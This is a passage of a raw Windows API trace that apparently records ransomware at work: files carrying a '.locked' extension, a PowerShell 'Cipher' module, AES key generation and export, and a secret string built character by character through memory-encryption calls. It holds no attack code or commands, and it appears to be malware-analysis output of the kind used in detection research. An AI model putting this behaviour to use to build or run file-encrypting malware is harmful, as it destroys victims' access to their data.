fInfoLevelId=0x0, lpFileInformation=0x6abda90 | out: lpFileInformation=0x6abda90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x129f1a02, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x129f1a02, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x129f1a02, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xc3a4)) returned 1 [0133.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0133.214] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked", lpFilePart=0x0) returned 0x4e [0133.214] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\gRzb7oFLyBcvbSNv-LC\\jB6WY0ijF-NQi-J.ppt.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\grzb7oflybcvbsnv-lc\\jb6wy0ijf-nqi-j.ppt.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0133.215] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0133.215] CloseHandle (hObject=0x858) returned 1 [0133.215] GetConsoleOutputCP () returned 0x1b5 [0133.215] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.215] GetConsoleOutputCP () returned 0x1b5 [0133.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.216] GetConsoleOutputCP () returned 0x1b5 [0133.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.216] GetConsoleOutputCP () returned 0x1b5 [0133.216] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.216] GetConsoleOutputCP () returned 0x1b5 [0133.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.217] GetConsoleOutputCP () returned 0x1b5 [0133.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.217] GetConsoleOutputCP () returned 0x1b5 [0133.217] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.217] GetConsoleOutputCP () returned 0x1b5 [0133.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.218] GetConsoleOutputCP () returned 0x1b5 [0133.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.218] GetConsoleOutputCP () returned 0x1b5 [0133.218] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.218] GetConsoleOutputCP () returned 0x1b5 [0133.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.219] GetConsoleOutputCP () returned 0x1b5 [0133.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.219] GetConsoleOutputCP () returned 0x1b5 [0133.219] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0133.219] GetConsoleOutputCP () returned 0x1b5 [0133.220] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0133.220] GetConsoleOutputCP () returned 0x1b5 [0133.220] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.220] GetConsoleOutputCP () returned 0x1b5 [0133.220] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0133.220] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0133.221] GetConsoleOutputCP () returned 0x1b5 [0133.221] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0133.221] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.221] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ae498c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ae498c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0133.222] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0133.222] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0133.226] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x82, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.226] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.226] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0133.226] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.227] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.227] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x74, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.227] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.227] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0133.227] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0133.227] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.227] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x83, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.227] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.228] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0133.228] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84d38) returned 1 [0133.228] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0133.228] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.228] CryptExportKey (in: hKey=0x8e84d38, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6aee234, pdwDataLen=0x99ae894 | out: pbData=0x6aee234*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0133.228] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\xe1c4\x6ae\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\x1200\x64b\x9e") returned 0x0 [0133.228] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.228] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x84, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.228] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0133.229] SysStringLen (param_1="") returned 0x8 [0133.229] SysStringLen (param_1="Y") returned 0x8 [0133.229] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.229] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0133.229] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="Y9") returned 0x8 [0133.229] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="\x8235\x8d39\x8eb7\xda21\x1ef7\x3246\xb84a\xf227") returned 0x8 [0133.229] SysStringLen (param_1="\x8235\x8d39\x8eb7\xda21\x1ef7\x3246\xb84a\xf227") returned 0x8 [0133.229] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="Y90") returned 0x8 [0133.229] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="\xa2b6\x755f\x8508\xc83e\xbc9b\xcb81\x8b8\x8b5a") returned 0x8 [0133.229] SysStringLen (param_1="\xa2b6\x755f\x8508\xc83e\xbc9b\xcb81\x8b8\x8b5a") returned 0x8 [0133.229] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="Y90y") returned 0x8 [0133.229] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.229] SysStringLen (param_1="\x8da3\x57c9\xa607\xfd9f\x6dc8\xb388\xc88c\x859a") returned 0x8 [0133.230] SysStringLen (param_1="\x8da3\x57c9\xa607\xfd9f\x6dc8\xb388\xc88c\x859a") returned 0x8 [0133.230] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="Y90y+") returned 0x8 [0133.230] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="\x289b\xf558\x405e\xb65a\x285d\x7069\xca61\xd34f") returned 0x8 [0133.230] SysStringLen (param_1="\x289b\xf558\x405e\xb65a\x285d\x7069\xca61\xd34f") returned 0x8 [0133.230] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="Y90y+U") returned 0x8 [0133.230] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="\xce09\x3507\x2ac1\x9fc9\x47e3\x8251\xea11\x79fc") returned 0x8 [0133.230] SysStringLen (param_1="\xce09\x3507\x2ac1\x9fc9\x47e3\x8251\xea11\x79fc") returned 0x8 [0133.230] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="Y90y+Ua") returned 0x8 [0133.230] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="\xe8ab\xc4e3\x1172\x17ed\xa368\xd63e\x2ba5\x607a") returned 0x8 [0133.230] SysStringLen (param_1="\xe8ab\xc4e3\x1172\x17ed\xa368\xd63e\x2ba5\x607a") returned 0x8 [0133.230] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="Y90y+UaW") returned 0x8 [0133.230] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0133.230] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c") returned 0x8 [0133.230] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c") returned 0x8 [0133.230] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c") returned 0x8 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c") returned 0x10 [0133.231] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="Y90y+UaWuꝓ젿炥쪎⌙喒淯") returned 0x10 [0133.231] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xa52\xee0c\x5299\x56d1\x894b\x9be8\x3277\x19cf") returned 0x10 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xa52\xee0c\x5299\x56d1\x894b\x9be8\x3277\x19cf") returned 0x10 [0133.231] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="Y90y+UaWuf젿炥쪎⌙喒淯") returned 0x10 [0133.231] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x1811\xb3a6\xb4ce\xef7c\xec35\x2031\x676b\x4006") returned 0x10 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x1811\xb3a6\xb4ce\xef7c\xec35\x2031\x676b\x4006") returned 0x10 [0133.231] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="Y90y+UaWufi炥쪎⌙喒淯") returned 0x10 [0133.231] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xbafc\x9c60\xb8f9\xae71\x873\x50d8\x7294\x2cef") returned 0x10 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xbafc\x9c60\xb8f9\xae71\x873\x50d8\x7294\x2cef") returned 0x10 [0133.231] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="Y90y+UaWufi0쪎⌙喒淯") returned 0x10 [0133.231] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x2db7\x3171\xdbca\x9eef\xad6a\xa8ae\x403c\xc56c") returned 0x10 [0133.231] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x2db7\x3171\xdbca\x9eef\xad6a\xa8ae\x403c\xc56c") returned 0x10 [0133.231] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="Y90y+UaWufi0l⌙喒淯") returned 0x10 [0133.232] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xc728\xf361\xf26d\x49be\x2e6c\x7b2a\x5b43\x1bda") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xc728\xf361\xf26d\x49be\x2e6c\x7b2a\x5b43\x1bda") returned 0x10 [0133.232] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="Y90y+UaWufi0l/喒淯") returned 0x10 [0133.232] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x6fe\xc948\xea7b\x7ad8\x6996\xf3e6\x3f47\xb2aa") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x6fe\xc948\xea7b\x7ad8\x6996\xf3e6\x3f47\xb2aa") returned 0x10 [0133.232] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="Y90y+UaWufi0l/V淯") returned 0x10 [0133.232] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x109e\x8b7d\x3445\xbc66\xf806\x3af1\xc85b\x5b35") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\x109e\x8b7d\x3445\xbc66\xf806\x3af1\xc85b\x5b35") returned 0x10 [0133.232] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="Y90y+UaWufi0l/VW") returned 0x10 [0133.232] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951") returned 0x10 [0133.232] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951") returned 0x18 [0133.233] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="Y90y+UaWufi0l/VWr禴칑䝸蹐ₒ馂") returned 0x18 [0133.233] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x263e\x5600\x5da5\xfe5d\x5672\x7b5\xb0c5\x3276") returned 0x18 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x263e\x5600\x5da5\xfe5d\x5672\x7b5\xb0c5\x3276") returned 0x18 [0133.233] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="Y90y+UaWufi0l/VWrt칑䝸蹐ₒ馂") returned 0x18 [0133.233] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x7d1b\x76cb\x27fb\x9b43\xcb4c\xe5f4\xc03e\x150e") returned 0x18 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x7d1b\x76cb\x27fb\x9b43\xcb4c\xe5f4\xc03e\x150e") returned 0x18 [0133.233] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1䝸蹐ₒ馂") returned 0x18 [0133.233] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x411c\x800a\x6ebf\xfb7d\x2cab\xd27f\x903f\xb9ef") returned 0x18 [0133.233] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x411c\x800a\x6ebf\xfb7d\x2cab\xd27f\x903f\xb9ef") returned 0x18 [0133.233] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.233] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1x䝸蹐ₒ馂") returned 0x18 [0133.233] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] 